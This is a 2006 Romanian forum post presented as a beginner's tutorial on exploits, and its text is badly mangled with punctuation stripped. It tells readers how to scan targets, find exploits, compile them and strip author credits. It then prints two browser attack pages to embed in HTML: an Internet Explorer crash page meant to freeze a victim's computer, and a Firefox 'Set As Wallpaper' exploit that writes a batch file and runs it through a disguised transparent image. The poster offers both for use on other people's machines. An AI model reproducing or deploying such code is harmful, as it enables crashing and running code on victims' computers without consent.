misu Posted May 24, 2006 Report Posted May 24, 2006 Gauri de Securitate-part 1-EXPLOITSExploits sunt script-uri create de hackeri pt a avea acces la Servere deamond,linux...Am creat acest tutorial deoarce nu multi stiu ce este un exploit si poate majoritatea nicinu au auzit.Va voi arata in continuare pasii pt acesare un shell(script kiddley).La un exploit se gaseste doar codul sursa.El se compileaza folosind un Compilator adecvat ptacel cod sursa.Puteti face rost de un exploit de pe http://www.packetstormsecurity.nl ,httpwww.securityfocus.com pt inceput compilatilhttpdownload.kappa.roaction__categoryid__46.De obicei exploits sunt pt Linux dar daca avetialt sistem de operare nu va faceti griji puteti sa il rulati direct din Command-Promt sau Shellmai sunt si alte exploit care nu trebuiesc compilate cum ar fi scripturile in php si js acestease introduc in sursa Pagini.Cum adunam date despre server(HTTP sau PC..)pai daca este un sever HTTP cautam un scaner ptcgi-bin care ne arata versiunea servarului si Bug-urile nepatch-uite din server si ne ajuta lainjection ... cateva pagini folosite de admini pt loagare.Daca este un computer noramalvom folosi un Who IS sau un scaner de porturi professional(trebuie sa ne de mai multe indici)Recomand GFI sau SuperScan.Odata ce am aflta ce sistem are si celelalte informati cautam unexploit pe adresele mentionate mai sus.Aveti grija incercati sa modificati databese daca vedetica da eroare cand incercati sa o compilati ar trebui modificata ,dar mai intai trebuie sa vaasigurati ca codul nu contine INFORMATI sau CREDITS.Cele mai multe au erori din cauza linilorpuse de eroare diferitelor Pagin,programe,etc.Mozilla Firefox=1.0.4 Set As WallpaperVa voi prezenta un exploit care mi-a placut foarte mult.El exploateaza un bug in Mozilla asfelun java-script aflat in spatele comenzilor de Wallpaperdiv style=positionrelative; width300px; height250px;img src=javascriptasfel pacalind Browserul.Un trick care mie mi-a placut foarte mult din IE(all version) erablocare PC si resetare acesta procedura era posibila deoarce IE nu avea o optiune anume pt pozeasa ce o afisa pe toata.Codul sursa trebuie copiat intr-o pagina HTML.el trebui introdus inBODY.!DOCTYPE html PUBLIC -W3CDTD XHTML 1.0 StrictENhttpwww.w3.orgTRxhtml1DTDxhtml1-strict.dtdhtmlheadtitle(titlemeta name=keywords content=microsoft,windows,img,bug,html headbodypimg src=pic.png width=9999999 height=9999999 alt=puh If you are using Microsoft Windows and are able to read this, feel lucky!br A tip Quit your web browser immediately and pray that your unsaved documents get saved!br iframe src=httpwww.idg.seArticlePages2005060920050609095128_MD20050609095128_MD.dbp.asp width=1024 height=768 br pbodyhtmlsa revenim la Mozilla.Atentie codul sursa trebuie inserat si el tot intr-o pagina html il putetifolosi si pe primul si pe al doilea ca sa va asigurati ca nu ati muncit degeaba inmomentul acela se reseteaza pc-ul cuiva(in caz ca fol IE)In caz ca fol alt browser inafara decele mentionate mai sus Toate celelate sunt copy dupa IE inafara de Opera care il recomand sa ilfolositi cu toti pt ca nu am gasit nici un bug deocamdata.eliminati Creditul.Exploit by Michael Krax!DOCTYPE HTML PUBLIC -W3CDTD HTML 4.01 TransitionalENhtmlheadtitleFirewalling - Proof-of-Concepttitlescriptfunction stopload() {in some cases the javascript url never stops to loadtherefore we force a stop after the real image got loadedwindow.setTimeout(window.stop(),1000);}scriptheadbodydiv style=font-familyVerdana;font-size11px;div style=font-familyVerdana;font-size15px;font-weightbold;Firewalling - Proof-of-Conceptdivdiv style=width600pxThe Set As Wallpaper dialog takes the image url as a parameter without validating it.This allows to execute javascript in chrome and to run arbitrary code.brbrBy using absolute positioning and the moz-opacity filter an attacker can easily fool theuser to think he is setting a valid image as wallpaper.brbrRight click on the image and choose Set As Wallpaper. The demo requestsUniversalXPConnect rights, creates cbooom.bat and launches the batch filethat shows a directoy listing in a dos box (Windows only).brbrdiv style=positionrelative; width300px; height250px;img src=javascript-----------------------------eval('if(document.location.href.substr(0,6)=='chrome'){netscape.security.Privile geManager.enablePrivilege('UniversalXPConnect');file=Components.classes['@mozilla.orgfilelocal;1'].createInstance(Components.interfaces.nsILocalFile) ;file.initWithPath('cbooom.bat');file.createUnique(Components.interfac es.nsIFile.NORMAL_FILE_TYPE,420);outputStream=Components.classes['@mozilla.orgnetworkfile-output-stream;1'].createInstance(Components.interfaces.nsIFileOutpu tStream);outputStream.init(file,0x040x080x20,420,0);output='@ECHO OFFnBEGINnCLSnDIRnPAUSEnEND';outputStream.write(output,output.length) ;outputStream.close();file.launch();}else{void(0)}') width=300 height=250 alt= border=0 style=positionabsolute; left0px; top0px; z-index2; -moz-opacity0;img src=httpwww.site.comimageslogo.png width=300 height=250 alt= border=0 style=positionabsolute; left0px; top0px; z-index1; onload=stopload()divdivbodyhtml Quote